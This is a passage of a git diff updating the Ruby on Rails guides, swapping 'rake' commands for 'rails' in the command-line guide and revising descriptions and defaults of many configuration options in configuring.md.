by specifying the annotation using an environment variable `ANNOTATION`. +You can also use custom annotations in your code and list them using `bin/rails notes:custom` by specifying the annotation using an environment variable `ANNOTATION`. ```bash -$ bin/rake notes:custom ANNOTATION=BUG +$ bin/rails notes:custom ANNOTATION=BUG (in /home/foobar/commandsapp) app/models/article.rb: * [ 23] Have to fix this one before pushing! @@ -470,11 +497,11 @@ app/models/article.rb: NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines. -By default, `rake notes` will look in the `app`, `config`, `lib`, `bin` and `test` directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable `SOURCE_ANNOTATION_DIRECTORIES`. +By default, `rails notes` will look in the `app`, `config`, `db`, `lib` and `test` directories. If you would like to search other directories, you can provide them as a comma separated list in an environment variable `SOURCE_ANNOTATION_DIRECTORIES`. ```bash $ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor' -$ bin/rake notes +$ bin/rails notes (in /home/foobar/commandsapp) app/models/user.rb: * [ 35] [FIXME] User should have a subscription at this point @@ -484,7 +511,7 @@ spec/models/user_spec.rb: ### `routes` -`rake routes` will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with. +`rails routes` will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with. ### `test` @@ -498,16 +525,16 @@ The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding pla The `tmp:` namespaced tasks will help you clear and create the `Rails.root/tmp` directory: -* `rake tmp:cache:clear` clears `tmp/cache`. -* `rake tmp:sockets:clear` clears `tmp/sockets`. -* `rake tmp:clear` clears all cache and sockets files. -* `rake tmp:create` creates tmp directories for cache, sockets and pids. +* `rails tmp:cache:clear` clears `tmp/cache`. +* `rails tmp:sockets:clear` clears `tmp/sockets`. +* `rails tmp:clear` clears all cache and sockets files. +* `rails tmp:create` creates tmp directories for cache, sockets and pids. ### Miscellaneous -* `rake stats` is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio. -* `rake secret` will give you a pseudo-random key to use for your session secret. -* `rake time:zones:all` lists all the timezones Rails knows about. +* `rails stats` is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio. +* `rails secret` will give you a pseudo-random key to use for your session secret. +* `rails time:zones:all` lists all the timezones Rails knows about. ### Custom Rake Tasks @@ -545,9 +572,9 @@ end Invocation of the tasks will look like: ```bash -$ bin/rake task_name -$ bin/rake "task_name[value 1]" # entire argument string should be quoted -$ bin/rake db:nothing +$ bin/rails task_name +$ bin/rails "task_name[value 1]" # entire argument string should be quoted +$ bin/rails db:nothing ``` NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the `environment` task, which will load your application code. @@ -578,8 +605,8 @@ $ rails new . --git --database=postgresql create tmp/pids create Rakefile add 'Rakefile' - create README.rdoc -add 'README.rdoc' + create README.md +add 'README.md' create app/controllers/application_controller.rb add 'app/controllers/application_controller.rb' create app/helpers/application_helper.rb @@ -592,7 +619,7 @@ We had to create the **gitapp** directory and initialize an empty git repository ```bash $ cat config/database.yml -# PostgreSQL. Versions 8.2 and up are supported. +# PostgreSQL. Versions 9.1 and up are supported. # # Install the pg driver: # gem install pg diff --git a/guides/source/configuring.md b/guides/source/configuring.md index 67285030a9..66aae112d8 100644 --- a/guides/source/configuring.md +++ b/guides/source/configuring.md @@ -35,7 +35,7 @@ In general, the work of configuring Rails means configuring the components of Ra For example, the `config/application.rb` file includes this setting: ```ruby -config.autoload_paths += %W(#{config.root}/extras) +config.time_zone = 'Central Time (US & Canada)' ``` This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`: @@ -60,11 +60,11 @@ These configuration methods are to be called on a `Rails::Railtie` object, such * `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints built-in in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`. -* `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array. +* `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is `false`, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array. * `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`. -* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. +* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to `false` in development mode, and `true` in test and production modes. * `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`. @@ -73,9 +73,9 @@ application. Accepts a valid week day symbol (e.g. `:monday`). * `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise. -* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true. +* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to `true`. -* `config.consider_all_requests_local` is a flag. If true then any error will cause detailed debugging information to be dumped in the HTTP response, and the `Rails::Info` controller will show the application runtime context in `/rails/info/properties`. True by default in development and test environments, and false in production mode. For finer-grained control, set this to false and implement `local_request?` in controllers to specify which requests should provide debugging information on errors. +* `config.consider_all_requests_local` is a flag. If `true` then any error will cause detailed debugging information to be dumped in the HTTP response, and the `Rails::Info` controller will show the application runtime context in `/rails/info/properties`. `true` by default in development and test environments, and `false` in production mode. For finer-grained control, set this to `false` and implement `local_request?` in controllers to specify which requests should provide debugging information on errors. * `config.console` allows you to set class that will be used as console you run `rails console`. It's best to run it in `console` block: @@ -88,11 +88,9 @@ application. Accepts a valid week day symbol (e.g. `:monday`). end ``` -* `config.dependency_loading` is a flag that allows you to disable constant autoloading setting it to false. It only has effect if `config.cache_classes` is true, which it is by default in production mode. +* `config.eager_load` when `true`, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace. -* `config.eager_load` when true, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace. - -* `config.eager_load_namespaces` registers namespaces that are eager loaded when `config.eager_load` is true. All namespaces in the list must respond to the `eager_load!` method. +* `config.eager_load_namespaces` registers namespaces that are eager loaded when `config.eager_load` is `true`. All namespaces in the list must respond to the `eager_load!` method. * `config.eager_load_paths` accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the `app` directory of the application. @@ -100,31 +98,47 @@ application. Accepts a valid week day symbol (e.g. `:monday`). * `config.exceptions_app` sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`. -* `config.file_watcher` the class used to detect file updates in the filesystem when `config.reload_classes_only_on_change` is true. Must conform to `ActiveSupport::FileUpdateChecker` API. +* `config.debug_exception_response_format` sets the format used in responses when errors occur in development mode. Defaults to `:api` for API only apps and `:default` for normal apps. + +* `config.file_watcher` is the class used to detect file updates in the file system when `config.reload_classes_only_on_change` is `true`. Rails ships with `ActiveSupport::FileUpdateChecker`, the default, and `ActiveSupport::EventedFileUpdateChecker` (this one depends on the [listen](https://github.com/guard/listen) gem). Custom classes must conform to the `ActiveSupport::FileUpdateChecker` API. * `config.filter_parameters` used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card -numbers. New applications filter out passwords by adding the following `config.filter_parameters+=[:password]` in `config/initializers/filter_parameter_logging.rb`. +numbers. By default, Rails filters out passwords by adding `Rails.application.config.filter_parameters += [:password]` in `config/initializers/filter_parameter_logging.rb`. Parameters filter works by partial matching regular expression. -* `config.force_ssl` forces all requests to be under HTTPS protocol by using `ActionDispatch::SSL` middleware. +* `config.force_ssl` forces all requests to be served over HTTPS by using the `ActionDispatch::SSL` middleware, and sets `config.action_mailer.default_url_options` to be `{ protocol: 'https' }`. This can be configured by setting `config.ssl_options` - see the [ActionDispatch::SSL documentation](http://edgeapi.rubyonrails.org/classes/ActionDispatch/SSL.html) for details. -* `config.log_formatter` defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all modes except production, where it defaults to `Logger::Formatter`. +* `config.log_formatter` defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all modes except production, where it defaults to `Logger::Formatter`. If you are setting a value for `config.logger` you must manually pass the value of your formatter to your logger before it is wrapped in an `ActiveSupport::TaggedLogging` instance, Rails will not do it for you. * `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all environments. The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, and `:unknown`. -* `config.log_tags` accepts a list of methods that the `request` object responds to. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications. +* `config.log_tags` accepts a list of: methods that the `request` object responds to, a `Proc` that accepts the `request` object, or something that responds to `to_s`. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications. + +* `config.logger` is the logger that will be used for `Rails.logger` and any related Rails logging such as `ActiveRecord::Base.logger`. It defaults to an instance of `ActiveSupport::TaggedLogging` that wraps an instance of `ActiveSupport::Logger` which outputs a log to the `log/` directory. You can supply a custom logger, to get full compatibility you must follow these guidelines: + * To support a formatter, you must manually assign a formatter from the `config.log_formatter` value to the logger. + * To support tagged logs, the log instance must be wrapped with `ActiveSupport::TaggedLogging`. + * To support silencing, the logger must include `LoggerSilence` and `ActiveSupport::LoggerThreadSafeLevel` modules. The `ActiveSupport::Logger` class already includes these modules. -* `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::Logger`. + ```ruby + class MyLogger < ::Logger + include ActiveSupport::LoggerThreadSafeLevel + include LoggerSilence + end + + mylogger = MyLogger.new(STDOUT) + mylogger.formatter = config.log_formatter + config.logger = ActiveSupport::TaggedLogging.new(mylogger) + ``` * `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below. -* `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to true. If `config.cache_classes` is true, this option is ignored. +* `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to `true`. If `config.cache_classes` is `true`, this option is ignored. * `secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`. -* `config.serve_static_files` configures Rails to serve static files. This option defaults to true, but in the production environment it is set to false because the server software (e.g. NGINX or Apache) used to run the application should serve static files instead. If you are running or testing your app in production mode using WEBrick (it is not recommended to use WEBrick in production) set the option to true. Otherwise, you won't be able to use page caching and request for files that exist under the public directory. +* `config.public_file_server.enabled` configures Rails to serve static files from the public directory. This option defaults to `true`, but in the production environment it is set to `false` because the server software (e.g. NGINX or Apache) used to run the application should serve static files instead. If you are running or testing your app in production mode using WEBrick (it is not recommended to use WEBrick in production) set the option to `true.` Otherwise, you won't be able to use page caching and request for files that exist under the public directory. * `config.session_store` is usually set up in `config/initializers/session_store.rb` and specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Custom session stores can also be specified: @@ -139,16 +153,16 @@ defaults to `:debug` for all environments. The available log levels are: `:debug ### Configuring Assets * `config.assets.enabled` a flag that controls whether the asset -pipeline is enabled. It is set to true by default. +pipeline is enabled. It is set to `true` by default. * `config.assets.raise_runtime_errors` Set this flag to `true` to enable additional runtime error checking. Recommended in `config/environments/development.rb` to minimize unexpected behavior when deploying to `production`. -* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/environments/production.rb`. - * `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem. * `config.assets.js_compressor` defines the JavaScript compressor to use. Possible values are `:closure`, `:uglifier` and `:yui` which require the use of the `closure-compiler`, `uglifier` or `yui-compressor` gems respectively. +* `config.assets.gzip` a flag that enables the creation of gzipped version of compiled assets, along with non-gzipped assets. Set to `true` by default. + * `config.assets.paths` contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets. * `config.assets.precompile` allows you to specify additional assets (other than `application.css` and `application.js`) which are to be precompiled when `rake assets:precompile` is run. @@ -157,17 +171,13 @@ pipeline is enabled. It is set to true by default. * `config.assets.manifest` defines the full path to be used for the asset precompiler's manifest file. Defaults to a file named `manifest-<random>.json` in the `config.assets.prefix` directory within the public folder. -* `config.assets.digest` enables the use of MD5 fingerprints in asset names. Set to `true` by default in `production.rb` and `development.rb`. +* `config.assets.digest` enables the use of MD5 fingerprints in asset names. Set to `true` by default. * `config.assets.debug` disables the concatenation and compression of assets. Set to `true` by default in `development.rb`. -* `config.assets.cache_store` defines the cache store that Sprockets will use. The default is the Rails file store. - -* `config.assets.version` is an option string that is used in MD5 hash generation. This can be changed to force all files to be recompiled. - * `config.assets.compile` is a boolean that can be used to turn on live Sprockets compilation in production. -* `config.assets.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to false will turn off served assets logging. +* `config.assets.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to `false` will turn off served assets logging. ### Configuring Generators @@ -185,24 +195,27 @@ The full set of methods that can be used in this block are as follows: * `assets` allows to create assets on generating a scaffold. Defaults to `true`. * `force_plural` allows pluralized model names. Defaults to `false`. * `helper` defines whether or not to generate helpers. Defaults to `true`. -* `integration_tool` defines which integration tool to use. Defaults to `nil`. +* `integration_tool` defines which integration tool to use to generate integration tests. Defaults to `:test_unit`. * `javascripts` turns on the hook for JavaScript files in generators. Used in Rails for when the `scaffold` generator is run. Defaults to `true`. -* `javascript_engine` configures the engine to be used (for eg. coffee) when generating assets. Defaults to `nil`. +* `javascript_engine` configures the engine to be used (for eg. coffee) when generating assets. Defaults to `:js`. * `orm` defines which orm to use. Defaults to `false` and will use Active Record by default. * `resource_controller` defines which generator to use for generating a controller when using `rails generate resource`. Defaults to `:controller`. +* `resource_route` defines whether a resource route definition should be generated + or not. Defaults to `true`. * `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a _scaffolded_ controller when using `rails generate scaffold`. Defaults to `:scaffold_controller`. * `stylesheets` turns on the hook for stylesheets in generators. Used in Rails for when the `scaffold` generator is run, but this hook can be used in other generates as well. Defaults to `true`. * `stylesheet_engine` configures the stylesheet engine (for eg. sass) to be used when generating assets. Defaults to `:css`. -* `test_framework` defines which test framework to use. Defaults to `false` and will use Test::Unit by default. +* `scaffold_stylesheet` creates `scaffold.css` when generating a scaffolded resource. Defaults to `true`. +* `test_framework` defines which test framework to use. Defaults to `false` and will use Minitest by default. * `template_engine` defines which template engine to use, such as ERB or Haml. Defaults to `:erb`. ### Configuring Middleware Every Rails application comes with a standard set of middleware which it uses in this order in the development environment: -* `ActionDispatch::SSL` forces every request to be under HTTPS protocol. Will be available if `config.force_ssl` is set to `true`. Options passed to this can be configured by using `config.ssl_options`. -* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.serve_static_files` is `false`. -* `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. Only enabled when `config.cache_classes` is `false`. +* `ActionDispatch::SSL` forces every request to be served using HTTPS. Enabled if `config.force_ssl` is set to `true`. Options passed to this can be configured by setting `config.ssl_options`. +* `ActionDispatch::Static` is used to serve static assets. Disabled if `config.public_file_server.enabled` is `false`. Set `config.public_file_server.index_name` if you need to serve a static directory index file that is not named `index`. For example, to serve `main.html` instead of `index.html` for directory requests, set `config.public_file_server.index_name` to `"main"`. +* `ActionDispatch::Executor` allows thread safe code reloading. Disabled if `config.allow_concurrency` is `false`, which causes `Rack::Lock` to be loaded. `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time. * `ActiveSupport::Cache::Strategy::LocalCache` serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread. * `Rack::Runtime` sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request. * `Rails::Rack::Logger` notifies the logs that the request has begun. After request is complete, flushes all the logs. @@ -216,7 +229,6 @@ Every Rails application comes with a standard set of middleware which it uses in * `ActionDispatch::Cookies` sets cookies for the request. * `ActionDispatch::Session::CookieStore` is responsible for storing the session in cookies. An alternate middleware can be used for this by changing the `config.action_controller.session_store` to an alternate value. Additionally, options passed to this can be configured by using `config.action_controller.session_options`. * `ActionDispatch::Flash` sets up the `flash` keys. Only available if `config.action_controller.session_store` is set to a value. -* `ActionDispatch::ParamsParser` parses out parameters from the request into `params`. * `Rack::MethodOverride` allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types. * `Rack::Head` converts HEAD requests to GET requests and serves them as so. @@ -247,7 +259,7 @@ config.middleware.swap ActionController::Failsafe, Lifo::Failsafe They can also be removed from the stack completely: ```ruby -config.middleware.delete "Rack::MethodOverride" +config.middleware.delete Rack::MethodOverride ``` ### Configuring i18n @@ -269,8 +281,8 @@ All these configuration options are delegated to the `I18n` library. * `config.active_record.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling `logger` on either an Active Record model class or an Active Record model instance. Set to `nil` to disable logging. * `config.active_record.primary_key_prefix_type` lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named `id` (and this configuration option doesn't need to be set.) There are two other choices: -** `:table_name` would make the primary key for the Customer class `customerid` -** `:table_name_with_underscore` would make the primary key for the Customer class `customer_id` + * `:table_name` would make the primary key for the Customer class `customerid`. + * `:table_name_with_underscore` would make the primary key for the Customer class `customer_id`. * `config.active_record.table_name_prefix` lets you set a global string to be prepended to table names. If you set this to `northwest_`, then the Customer class will look for `northwest_customers` as its table. The default is an empty string. @@ -278,15 +290,17 @@ All these configuration options are delegated to the `I18n` library. * `config.active_record.schema_migrations_table_name` lets you set a string to be used as the name of the schema migrations table. -* `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to true (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table. +* `config.active_record.pluralize_table_names` specifies whether Rails will look for singular or plural table names in the database. If set to `true` (the default), then the Customer class will use the `customers` table. If set to false, then the Customer class will use the `customer` table. * `config.active_record.default_timezone` determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc`. * `config.active_record.schema_format` controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements. -* `config.active_record.timestamped_migrations` controls whether migrations are numbered with serial integers or with timestamps. The default is true, to use timestamps, which are preferred if there are multiple developers working on the same application. +* `config.active_record.error_on_ignored_order_or_limit` specifies if an error should be raised if the order or limit of a query is ignored during a batch query. The options are `true` (raise error) or `false` (warn). Default is `false`. -* `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is true by default. +* `config.active_record.timestamped_migrations` controls whether migrations are numbered with serial integers or with timestamps. The default is `true`, to use timestamps, which are preferred if there are multiple developers working on the same application. + +* `config.active_record.lock_optimistically` controls whether Active Record will use optimistic locking and is `true` by default. * `config.active_record.cache_timestamp_format` controls the format of the timestamp value in the cache key. Default is `:nsec`. @@ -294,24 +308,35 @@ All these configuration options are delegated to the `I18n` library. * `config.active_record.partial_writes` is a boolean value and controls whether or not partial writes are used (i.e. whether updates only set attributes that are dirty). Note that when using partial writes, you should also use optimistic locking `config.active_record.lock_optimistically` since concurrent updates may write attributes based on a possibly stale read state. The default value is `true`. -* `config.active_record.maintain_test_schema` is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is true. +* `config.active_record.maintain_test_schema` is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is `true`. * `config.active_record.dump_schema_after_migration` is a flag which controls whether or not schema dump should happen (`db/schema.rb` or - `db/structure.sql`) when you run migrations. This is set to false in + `db/structure.sql`) when you run migrations. This is set to `false` in `config/environments/production.rb` which is generated by Rails. The - default value is true if this configuration is not set. + default value is `true` if this configuration is not set. * `config.active_record.dump_schemas` controls which database schemas will be dumped when calling db:structure:dump. The options are `:schema_search_path` (the default) which dumps any schemas listed in schema_search_path, `:all` which always dumps all schemas regardless of the schema_search_path, or a string of comma separated schemas. -* `config.active_record.belongs_to_required_by_default` is a boolean value and controls whether `belongs_to` association is required by default. +* `config.active_record.belongs_to_required_by_default` is a boolean value and + controls whether a record fails validation if `belongs_to` association is not + present. + +* `config.active_record.warn_on_records_fetched_greater_than` allows setting a + warning threshold for query result size. If the number of records returned + by a query exceeds the threshold, a warning is logged. This can be used to + identify queries which might be causing memory bloat. + +* `config.active_record.index_nested_attribute_errors` allows errors for nested + has_many relationships to be displayed with an index as well as the error. + Defaults to `false`. The MySQL adapter adds one additional configuration option: -* `ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns in a MySQL database to be booleans and is true by default. +* `ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns as booleans. Defaults to `true`. The schema dumper adds one additional configuration option: @@ -323,13 +348,11 @@ The schema dumper adds one additional configuration option: * `config.action_controller.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself. -* `config.action_controller.perform_caching` configures whether the application should perform caching or not. Set to false in development mode, true in production. +* `config.action_controller.perform_caching` configures whether the application should perform the caching features provided by the Action Controller component or not. Set to `false` in development mode, `true` in production. * `config.action_controller.default_static_extension` configures the extension used for cached pages. Defaults to `.html`. -* `config.action_controller.default_charset` specifies the default character set for all renders. The default is "utf-8". - -* `config.action_controller.include_all_helpers` configures whether all view helpers are available everywhere or are scoped to the corresponding controller. If set to `false`, `UsersHelper` methods are only available for views rendered as part of `UsersController`. If `true`, `UsersHelper` methods are available everywhere. The default is `true`. +* `config.action_controller.include_all_helpers` configures whether all view helpers are available everywhere or are scoped to the corresponding controller. If set to `false`, `UsersHelper` methods are only available for views rendered as part of `UsersController`. If `true`, `UsersHelper` methods are available everywhere. The default configuration behavior (when this option is not explicitly set to `true` or `false`) is that all view helpers are available to each controller. * `config.action_controller.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Controller. Set to `nil` to disable logging. @@ -337,6 +360,10 @@ The schema dumper adds one additional configuration option: * `config.action_controller.allow_forgery_protection` enables or disables CSRF protection. By default this is `false` in test mode and `true` in all other modes. +* `config.action_controller.forgery_protection_origin_check` configures whether the HTTP `Origin` header should be checked against the site's origin as an additional CSRF defense. + +* `config.action_controller.per_form_csrf_tokens` configures whether CSRF tokens are only valid for the method/action they were generated for. + * `config.action_controller.relative_url_root` can be used to tell Rails that you are [deploying to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is `ENV['RAILS_RELATIVE_URL_ROOT']`. * `config.action_controller.permit_all_parameters` sets all the parameters for mass assignment to be permitted by default. The default value is `false`. @@ -359,8 +386,14 @@ The schema dumper adds one additional configuration option: } ``` +* `config.action_dispatch.default_charset` specifies the default character set for all renders. Defaults to `nil`. + * `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`. +* `config.action_dispatch.ignore_accept_header` is used to determine whether to ignore accept headers from a request. Defaults to `false`. + +* `config.action_dispatch.x_sendfile_header` specifies server specific X-Sendfile header. This is useful for accelerated file sending from server. For example it can be set to 'X-Sendfile' for Apache. + * `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults to `'http authentication'`. @@ -375,7 +408,7 @@ encrypted cookies salt value. Defaults to `'signed encrypted cookie'`. * `config.action_dispatch.perform_deep_munge` configures whether `deep_munge` method should be performed on the parameters. See [Security Guide](security.html#unsafe-query-generation) - for more information. It defaults to true. + for more information. It defaults to `true`. * `config.action_dispatch.rescue_responses` configures what exceptions are assigned to an HTTP status. It accepts a hash and you can specify pairs of exception/status. By default, this is defined as: @@ -411,7 +444,7 @@ encrypted cookies salt value. Defaults to `'signed encrypted cookie'`. `config.action_view` includes a small number of configuration settings: -* `config.action_view.field_error_proc` provides an HTML generator for displaying errors that come from Active Record. The default is +* `config.action_view.field_error_proc` provides an HTML generator for displaying errors that come from Active Model. The default is ```ruby Proc.new do |html_tag, instance| @@ -419,13 +452,23 @@ encrypted cookies salt value. Defaults to `'signed encrypted cookie'`. end ``` -* `config.action_view.default_form_builder` tells Rails which form builder to use by default. The default is `ActionView::Helpers::FormBuilder`. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a `String` +* `config.action_view.default_form_builder` tells Rails which form builder to + use by default. The default is `ActionView::Helpers::FormBuilder`. If you + want your form builder class to be loaded after initialization (so it's + reloaded on each request in development), you can pass it as a `String`. * `config.action_view.logger` accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging. * `config.action_view.erb_trim_mode` gives the trim mode to be used by ERB. It defaults to `'-'`, which turns on trimming of tail spaces and newline when using `<%= -%>` or `<%= =%>`. See the [Erubis documentation](http://www.kuwata-lab.com/erubis/users-guide.06.html#topics-trimspaces) for more information. -* `config.action_view.embed_authenticity_token_in_remote_forms` allows you to set the default behavior for `authenticity_token` in forms with `:remote => true`. By default it's set to false, which means that remote forms will not include `authenticity_token`, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the `meta` tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass `:authenticity_token => true` as a form option or set this config setting to `true` +* `config.action_view.embed_authenticity_token_in_remote_forms` allows you to + set the default behavior for `authenticity_token` in forms with `remote: + true`. By default it's set to `false`, which means that remote forms will not + include `authenticity_token`, which is helpful when you're fragment-caching + the form. Remote forms get the authenticity from the `meta` tag, so embedding + is unnecessary unless you support browsers without JavaScript. In such case + you can either pass `authenticity_token: true` as a form option or set this + config setting to `true`. * `config.action_view.prefix_partial_path_with_controller_namespace` determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::ArticlesController` which renders this template: @@ -435,7 +478,13 @@ encrypted cookies salt value. Defaults to `'signed encrypted cookie'`. The default setting is `true`, which uses the partial at `/admin/articles/_article.erb`. Setting the value to `false` would render `/articles/_article.erb`, which is the same behavior as rendering from a non-namespaced controller such as `ArticlesController`. -* `config.action_view.raise_on_missing_translations` determines whether an error should be raised for missing translations +* `config.action_view.raise_on_missing_translations` determines whether an + error should be raised for missing translations. + +* `config.action_view.automatically_disable_submit_tag` determines whether + submit_tag should automatically disable on click, this defaults to `true`. + +* `config.action_view.debug_missing_translation` determines whether to wrap the missing translations key in a `<span>` tag or not. This defaults to `true`. ### Configuring Action Mailer @@ -450,16 +499,19 @@ There are a number of settings available on `config.action_mailer`: * `:user_name` - If your mail server requires authentication, set the username in this setting. * `:password` - If your mail server requires authentication, set the password in this setting. * `:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`. + * `:enable_starttls_auto` - Detects if STARTTLS is enabled in your SMTP server and starts to use it. It defaults to `true`. + * `:openssl_verify_mode` - When using TLS, you can set how OpenSSL checks the certificate. This is useful if you need to validate a self-signed and/or a wildcard certificate. This can be one of the OpenSSL verify constants, `:none`, `:peer`, `:client_once`, `:fail_if_no_peer_cert`, or the constant directly `OpenSSL::SSL::VERIFY_NONE`. + * `:ssl/:tls` - Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection). * `config.action_mailer.sendmail_settings` allows detailed configuration for the `sendmail` delivery method. It accepts a hash of options, which can include any of these options: * `:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`. * `:arguments` - The command line arguments. Defaults to `-i -t`. -* `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to true. +* `config.action_mailer.raise_delivery_errors` specifies whether to raise an error if email delivery cannot be completed. It defaults to `true`. -* `config.action_mailer.delivery_method` defines the delivery method and defaults to `:smtp`. See the [configuration section in the Action Mailer guide](http://guides.rubyonrails.org/action_mailer_basics.html#action-mailer-configuration) for more info. +* `config.action_mailer.delivery_method` defines the delivery method and defaults to `:smtp`. See the [configuration section in the Action Mailer guide](action_mailer_basics.html#action-mailer-configuration) for more info. -* `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to false for testing. +* `config.action_mailer.perform_deliveries` specifies whether mail will actually be delivered and is true by default. It can be convenient to set it to `false` for testing. * `config.action_mailer.default_options` configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to: @@ -502,21 +554,27 @@ There are a number of settings available on `config.action_mailer`: config.action_mailer.show_previews = false ``` +* `config.action_mailer.deliver_later_queue_name` specifies the queue name for + mailers. By default this is `mailers`. + +* `config.action_mailer.perform_caching` specifies whether the mailer templates should perform fragment caching or not. By default this is `false` in all environments. + + ### Configuring Active Support There are a few configuration options available in Active Support: * `config.active_support.bare` enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded. -* `config.active_support.test_order` sets the order that test cases are 